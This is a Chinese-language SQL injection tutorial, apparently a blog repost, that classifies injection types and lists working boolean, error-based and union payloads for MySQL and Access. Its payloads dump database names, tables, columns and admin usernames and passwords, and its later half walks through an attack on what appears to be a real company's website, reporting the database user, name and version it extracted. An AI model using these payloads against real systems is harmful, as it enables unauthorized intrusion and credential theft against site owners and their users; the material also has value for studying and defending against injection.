sql注入详解

来源:互联网 发布:美国黑人矛盾 知乎 编辑:程序博客网 时间:2024/05/20 08:01

什么是sql注入

Sql注入是一种将sql代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。由于sql语句本身多样性,以及可用于构造的sql语句编码方法很多,因此凡是构造sql语句没有过滤的均存在被潜在攻击的风险。


Sql注入产生的原因:没有过滤或者过滤不全

Sql注入的分类:

根据注入的语法可以分为

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Union query SQL injection(可联合查询注入)

Stack queries SQL injection(可多语句查询注入)

Time-base blind SQL injection(基于时间的注入)

 

根据SQL数据类型分类

*整型注入

*字符串类型注入

*搜索类型注入

判断sql注入漏洞

*url上查看

*代码上查看

URL判断注入

*and 1=1 / and 1=2 回显页面不同(整型判断)

*单引号判断’显示数据库错误信息(整型,字符串类型判断)

*\

*随机输入判断方法(整型判断)

*-1/+1回显上个页面(整型判断)

*and sleep(5)(判断页面返回时间)

布尔类型注入

http://xxxx.com/php?id=1 and substring(version(),1,1)=5,如果服务端mysql是5.x的话,那么页面返回的内容和正常一样

布尔类型的环境

当一个页面存在注入,但是没有显示位,而且没有数据库出错信息,只能通过页面返回正常不正常进行判断进行sql注入,就需要使用Boolean-based blind SQL injection(布尔注入)

布尔注入优缺点

优点

不需要显示位

   不需要代码输出mysql_error()信息

缺点

就是速度太慢

进行布尔注入时需要掌握,exists(),ascii(),substr()函数

  注入语法

?id=1’ and exists(select * from information_schema.tables) --+

?id=’ and (select length(version()))=6 --+ #判断version()返回字符串长度

?id=1’ and (select count(distinct+table_schema)from information_schema.tables)>10 --+ #判断有多少个库

?id=1’ and(select ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1)))>100 --+ #判断第一个数据库的第 一个字符

 

Mysql 报错型注入

*mysql报错型注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error basesd Double Query injection等方法

通过floor暴库

/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),fl oor(rand(0)*2))x from information_schema.tables group by x)a) --获取版本号

 

 /sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --获取数据库

 /sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--获取表名字

 /sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --获取字段名称

 /sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --获取内容

 

Union query SQL injection(可联合查询注入)

利用前提

*页面上有显示位

 union select  

Union操作符用于合成两个或多个select语句的结果集。

需要注意的是,union内部的select语句必须拥有相同的数量的列。列也必须拥有相似的数据类型。同时每条select语句中的列的顺序必须相同。

判断列数

Order by 10

 Order by 1

判断显示位

Union select 1,2,3

看那个数字被显示出来

Union select 1,2,user() //获取当前连接数据库用户名

Union select 1,2,database() //获取当前使用的库名

Information_schema 获取当前数据库所有的表在mysql5以上的版本存在

Get注入 就是在url中注入,也是最常见的注入(一般使用工具,ad,明小子,穿山甲,萝卜头,推荐使用sqlmap)

Post注入(表单注入)例如,后台登录框注入,也可以用sqlmap工具

Cookie注入用burpsuit抓包改包

爆出了表名和列名

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,admin_firstname,admin_password,4,5,6,7,8 from admin

//爆出用户名和密码

Get类型的注入(基于url上的注入)

(一)access+asp类型的布尔类型的注入

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and 1=1 //显示正常

 

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and 1=2//显示不正常

说明存在sql注入

 

使用exists()函数判断表名,列名的存在,这里如果才接的表名或者列名不存在,可以换一些其他的常见的表民或者列名进行猜解

 

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and  exists(select * from admin) //返回正常说明存在admin表

 

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and  exists(select username from admin) //返回错误说明在admin这个表中不存在username这个列

 

 

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and  exists(select admin from admin) //返回正常说明在admin表中存在admin这个列

 

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and  exists(select password from admin)//返回正常说明在admin这个表中存在password这个列

 

 

判断账号长度 :

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and (select top 1 len(admin) from admin)=5

判断密码长度:http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and (select top 1 len(password) from admin)=16

确定数据的ascii编码:

and (select top 1 asc(mid(admin,1,1)) from admin)=97

97,100,109等等

猜解密码的ascii码:

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and (select top 1 asc(mid(password,1,1)) from admin)=97

 

(二)access+asp l联合查询的注入(union select

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  order by 22//这里order by排序,从而判断列的个数

 

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin  爆出显示位

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin


用户名和密码就直接出来了!

 

(一)php+mysql注入

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=4  and 1=1 //返回正常

 

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=4  and 1=2//返回不正常

 

说明存在sql注入

 

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=4  order by 8 //order by 为8时返回正常说明 字段列表长度为8

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,2,3,4,5,6,7,8 //url中让id为- ,从爆出显示位



http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,user(),3,4,5,6,7,8 // 爆出连接数据库的用户名 为 zjmall@localhost

 

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,database(),3,4,5,6,7,8//爆出数据库名为xbase

 

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,version(),3,4,5,6,7,8 //爆出数据库的版本号为5.1.51-community

 

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=0x7862617365

爆出表名为admin

 

 

 

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=0x61646D696E

爆出了表名和列名

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,admin_firstname,admin_password,4,5,6,7,8 from admin

//爆出用户名和密码



0 1